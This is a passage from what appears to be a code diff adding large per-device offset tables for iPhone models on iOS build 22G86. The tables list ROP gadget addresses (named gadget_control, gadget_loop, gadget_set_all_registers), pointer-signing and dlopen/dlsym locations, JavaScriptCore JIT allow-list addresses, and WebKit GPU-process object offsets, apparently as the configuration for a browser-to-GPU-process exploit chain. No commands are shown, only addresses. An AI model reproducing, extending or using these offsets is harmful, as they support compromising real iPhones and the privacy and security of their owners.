ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257693e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ff0000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,1_22G86": { + __pthread_head : 0x268a8c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f58c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703b48n, + free_slabs : 0x1ed7bd2d0n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d64f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d61a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d61a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d61b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d60f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d61b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e2758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e19c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2710fc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883538n, + WebCore__initPKContact_value : 0x1ed883540n, + WebCore__PAL_getPKContactClass : 0x1ed87a9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877940n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone12,3_5_22G86": { + __pthread_head : 0x268a8c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f58c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703b48n, + free_slabs : 0x1ed7bd2d0n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d64f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d61a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d61a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d61b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d60f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d61b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e2758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e19c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2710fc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883538n, + WebCore__initPKContact_value : 0x1ed883540n, + WebCore__PAL_getPKContactClass : 0x1ed87a9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877940n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, +"iPhone12,5_22G86": { + __pthread_head : 0x268a8c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f58c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703b48n, + free_slabs : 0x1ed7bd2d0n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d64f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d61a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d61a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d61b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d60f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d61b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e2758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e19c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x2710fc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883538n, + WebCore__initPKContact_value : 0x1ed883540n, + WebCore__PAL_getPKContactClass : 0x1ed87a9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877940n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + + "iPhone12,8_22G86": { + __pthread_head : 0x2689d8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9ba8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1776560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9690n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f95f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9640n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8a38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95d70n, + DesktopServicesPriv_bss : 0x1ecacd5a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2693fb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7078c8n, + free_slabs : 0x1ed7c1050n, + gadget_control_1_ios184 : 0x23ee2c2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f00a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da270n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d9f20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d9f28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d9f30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d9e70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d9f38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cbce8b4n, + libGPUCompilerImplLazy_cstring : 0x23bd18870n, + libsystem_c__atexit_mutex : 0x1ed6e64d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5740n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2575f3e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27103c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a4e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a630n, + WebCore__initPKContact_once : 0x1ed8872b8n, + WebCore__initPKContact_value : 0x1ed8872c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e778n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885a90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885a88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885a70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b6c0n, + WebCore__HTMLDocument_vtable : 0x1f10dda68n, + }, + "iPhone13,1_22G86": { + __pthread_head : 0x268d04020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f61e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5078n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + 